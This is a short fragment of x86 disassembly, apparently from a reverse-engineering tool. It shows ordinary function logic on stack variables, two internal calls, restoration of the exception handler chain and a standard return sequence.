mov ecx, dword [ebp - 0x794]
mov dword [eax], ecx
cmp dword [ebp - 0x794], 0
jne 0x1001944a
mov dword [ebp - 0x79c], 1
jmp 0x10019451
and dword [ebp - 0x79c], 0
mov eax, dword [ebp - 0x88]
cmp dword [ebp - 0x79c], eax
jge 0x10019480
mov dword [ebp - 0x878], 0x94ff
mov esi, dword [ebp - 0x878]
push 1
lea ecx, [ebp - 0xbc8]
call fcn.1000609d
mov dword [eax], esi
jmp 0x100194af
mov dword [ebp - 0x88], 0
jmp 0x10019499
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 1
jg 0x100194af
cmp dword [ebp - 0x84], 0
je 0x100194ad
jmp 0x100194af
jmp 0x1001948c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbc8]
call fcn.10006098
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret